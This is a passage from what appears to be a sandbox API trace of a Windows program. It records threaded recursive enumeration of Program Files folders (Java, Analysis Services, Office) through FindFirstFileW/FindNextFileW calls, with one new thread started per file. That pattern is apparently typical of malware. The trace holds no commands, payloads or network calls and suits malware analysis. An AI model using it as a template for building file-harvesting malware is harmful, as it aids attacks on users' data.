Flags=0x8, Size=0x46) returned 0x1b82bfe0 [0086.331] wcscpy (in: _Dest=0x1b82bfe0, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0086.331] wcscat (in: _Dest=0x1b82bfe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0086.331] wcscat (in: _Dest=0x1b82bfe0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\*" [0086.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60800 [0086.331] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8585b0 [0086.332] wcscmp (_String1=".", _String2=".") returned 0 [0086.332] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.332] wcscmp (_String1="..", _String2=".") returned 1 [0086.332] wcscmp (_String1="..", _String2="..") returned 0 [0086.332] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0086.332] wcscmp (_String1="bin", _String2=".") returned 1 [0086.332] wcscmp (_String1="bin", _String2="..") returned 1 [0086.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b859390 [0086.333] wcscpy (in: _Dest=0x1b859390, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0086.333] wcscat (in: _Dest=0x1b859390, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0086.333] wcscat (in: _Dest=0x1b859390, _Source="bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0097.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b859390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0097.195] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0097.195] wcscmp (_String1="COPYRIGHT", _String2=".") returned 1 [0097.195] wcscmp (_String1="COPYRIGHT", _String2="..") returned 1 [0097.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b858550 [0097.195] wcscpy (in: _Dest=0x1b858550, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0097.195] wcscat (in: _Dest=0x1b858550, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0097.195] wcscat (in: _Dest=0x1b858550, _Source="COPYRIGHT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0097.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b858550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0 [0097.196] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0097.196] wcscmp (_String1="lib", _String2=".") returned 1 [0097.196] wcscmp (_String1="lib", _String2="..") returned 1 [0097.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b8592d0 [0097.197] wcscpy (in: _Dest=0x1b8592d0, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0097.197] wcscat (in: _Dest=0x1b8592d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0097.197] wcscat (in: _Dest=0x1b8592d0, _Source="lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0097.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8592d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e4 [0097.198] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0097.198] wcscmp (_String1="LICENSE", _String2=".") returned 1 [0097.198] wcscmp (_String1="LICENSE", _String2="..") returned 1 [0097.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b859330 [0097.198] wcscpy (in: _Dest=0x1b859330, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0097.198] wcscat (in: _Dest=0x1b859330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0097.198] wcscat (in: _Dest=0x1b859330, _Source="LICENSE" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0097.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b859330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8 [0097.199] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0097.199] wcscmp (_String1="README.txt", _String2=".") returned 1 [0097.199] wcscmp (_String1="README.txt", _String2="..") returned 1 [0097.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b859270 [0097.199] wcscpy (in: _Dest=0x1b859270, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0097.199] wcscat (in: _Dest=0x1b859270, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0097.199] wcscat (in: _Dest=0x1b859270, _Source="README.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\README.txt" [0097.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b859270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec [0097.200] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0097.200] wcscmp (_String1="release", _String2=".") returned 1 [0097.200] wcscmp (_String1="release", _String2="..") returned 1 [0097.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b859210 [0097.200] wcscpy (in: _Dest=0x1b859210, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0097.200] wcscat (in: _Dest=0x1b859210, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0097.200] wcscat (in: _Dest=0x1b859210, _Source="release" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\release") returned="C:\\Program Files (x86)\\Java\\jre7\\release" [0097.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b859210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0 [0097.201] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0097.201] wcscmp (_String1="THIRDPARTYLICENSEREADME-JAVAFX.txt", _String2=".") returned 1 [0097.201] wcscmp (_String1="THIRDPARTYLICENSEREADME-JAVAFX.txt", _String2="..") returned 1 [0097.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5190 [0097.201] wcscpy (in: _Dest=0x202a5190, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0097.201] wcscat (in: _Dest=0x202a5190, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0097.201] wcscat (in: _Dest=0x202a5190, _Source="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0097.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4 [0097.202] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b350, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0097.202] wcscmp (_String1="THIRDPARTYLICENSEREADME.txt", _String2=".") returned 1 [0097.202] wcscmp (_String1="THIRDPARTYLICENSEREADME.txt", _String2="..") returned 1 [0097.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a5220 [0097.202] wcscpy (in: _Dest=0x202a5220, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0097.202] wcscat (in: _Dest=0x202a5220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0097.202] wcscat (in: _Dest=0x202a5220, _Source="THIRDPARTYLICENSEREADME.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0097.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f8 [0097.203] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0097.203] wcscmp (_String1="Welcome.html", _String2=".") returned 1 [0097.203] wcscmp (_String1="Welcome.html", _String2="..") returned 1 [0097.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1db0 [0097.204] wcscpy (in: _Dest=0x1b7c1db0, _Source="C:\\Program Files (x86)\\Java\\jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0097.204] wcscat (in: _Dest=0x1b7c1db0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0097.204] wcscat (in: _Dest=0x1b7c1db0, _Source="Welcome.html" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0097.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc [0097.205] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0097.205] FindClose (in: hFindFile=0x1b8585b0 | out: hFindFile=0x1b8585b0) returned 1 [0097.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60800) returned 1 [0097.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0097.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 Thread: id = 164 os_tid = 0x774 [0086.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c690 [0086.334] wcscpy (in: _Dest=0x1b85c690, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0086.335] wcscat (in: _Dest=0x1b85c690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\" [0086.335] wcscat (in: _Dest=0x1b85c690, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*" [0086.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60a70 [0086.335] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8593f0 [0086.335] wcscmp (_String1=".", _String2=".") returned 0 [0086.335] FindNextFileW (in: hFindFile=0x1b8593f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.335] wcscmp (_String1="..", _String2=".") returned 1 [0086.335] wcscmp (_String1="..", _String2="..") returned 0 [0086.335] FindNextFileW (in: hFindFile=0x1b8593f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0086.335] wcscmp (_String1="10", _String2=".") returned 1 [0086.335] wcscmp (_String1="10", _String2="..") returned 1 [0086.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85c720 [0086.336] wcscpy (in: _Dest=0x1b85c720, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0086.336] wcscat (in: _Dest=0x1b85c720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\" [0086.336] wcscat (in: _Dest=0x1b85c720, _Source="10" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10" [0097.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0097.406] FindNextFileW (in: hFindFile=0x1b8593f0, lpFindFileData=0x1cd60a70 | out: lpFindFileData=0x1cd60a70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0097.406] FindClose (in: hFindFile=0x1b8593f0 | out: hFindFile=0x1b8593f0) returned 1 [0097.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60a70) returned 1 [0097.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c690) returned 1 [0097.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 Thread: id = 165 os_tid = 0x7ec [0086.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e250 [0086.342] wcscpy (in: _Dest=0x1b86e250, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0086.342] wcscat (in: _Dest=0x1b86e250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\" [0086.342] wcscat (in: _Dest=0x1b86e250, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*" [0086.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60ce0 [0086.342] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*", lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xed090 [0086.342] wcscmp (_String1=".", _String2=".") returned 0 [0086.342] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.343] wcscmp (_String1="..", _String2=".") returned 1 [0086.343] wcscmp (_String1="..", _String2="..") returned 0 [0086.343] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0086.343] wcscmp (_String1="1033", _String2=".") returned 1 [0086.343] wcscmp (_String1="1033", _String2="..") returned 1 [0086.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85e410 [0086.343] wcscpy (in: _Dest=0x1b85e410, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14" [0086.343] wcscat (in: _Dest=0x1b85e410, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\" [0086.343] wcscat (in: _Dest=0x1b85e410, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" [0097.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0097.295] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd50800, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x219f7cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fd50800, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xd388, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0097.295] wcscmp (_String1="AUTHZAX.DLL", _String2=".") returned 1 [0097.295] wcscmp (_String1="AUTHZAX.DLL", _String2="..") returned 1 [0097.295] FindNextFileW (in: hFindFile=0xed090, lpFindFileData=0x1cd60ce0 | out: lpFindFileData=0x1cd60ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67b88000, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x21b02690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67b88000, 